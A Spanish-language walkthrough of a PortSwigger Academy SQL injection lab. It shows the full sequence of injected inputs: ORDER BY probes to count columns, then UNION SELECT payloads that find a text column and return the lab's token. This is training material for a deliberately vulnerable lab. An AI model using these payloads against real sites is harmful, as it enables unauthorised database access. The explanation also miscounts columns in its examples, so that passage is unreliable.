Lab 8 SQLi PortSwigger Academy

Introducción

LABORATORIO 8: SQL injection UNION attack, finding a column containing text

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de producto. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puede usar un ataque UNION para recuperar datos de otras tablas. Para construir un ataque de este tipo, primero debe determinar el número de columnas devueltas por la consulta.  El siguiente paso es identificar una columna que sea compatible con los datos de cadena.

El laboratorio proporcionará un valor aleatorio que debe hacer que aparezca en los resultados de la consulta. Para resolver el laboratorio, realice un ataque UNION de inyección SQL que devuelva una fila adicional que contenga el valor proporcionado. Esta técnica lo ayuda a determinar qué columnas son compatibles con los datos de cadena.

Explicación

Para identificar las cadenas que contienen datos de tipo string, podemos realizar una consulta mediante la cual introduzcamos un valor NULL y luego reemplazar cada NULL por ‘a’, tal como lo hicimos anteriormente. Por ejemplo, si tenemos conocimiento de que la consulta debe retornar cuatro columnas, podemos aplicar la siguiente inyección de código.

' UNION SELECT 'a', NULL, NULL--
' UNION SELECT NULL, 'a', NULL--
' UNION SELECT NULL, NULL, 'a'--
' UNION SELECT NULL, NULL, NULL, 'a'--

Si el tipo de datos de una columna no coincide con el tipo de datos de cadena, al realizar una consulta inyectada se producirá un error en la base de datos. Puede aprovechar estos errores para identificar las columnas que tienen un tipo de datos de cadena.

Solución

Determinar el número de columnas

' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
' ORDER BY 4 --

ORDER BY 4 devuelve un error así que el número de columnas devueltas por la petición es 3.

Determinar que columnas contiene datos tipo string

' UNION SELECT 'a', NULL, NULL --
' UNION SELECT NULL, 'a', NULL --
' UNION SELECT NULL, NULL, 'a' --

En función de los resultados obtenidos, sabemos que la columna 2 contiene datos de tipo string.

Resolver el reto

Para resolver este laboratorio tan solo deberemos sustituir el valor del string que nos aporta el enunciado por la ‘a’ de la segunda columna.

' UNION SELECT NULL, '2CDys1', NULL --

No responses yet

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *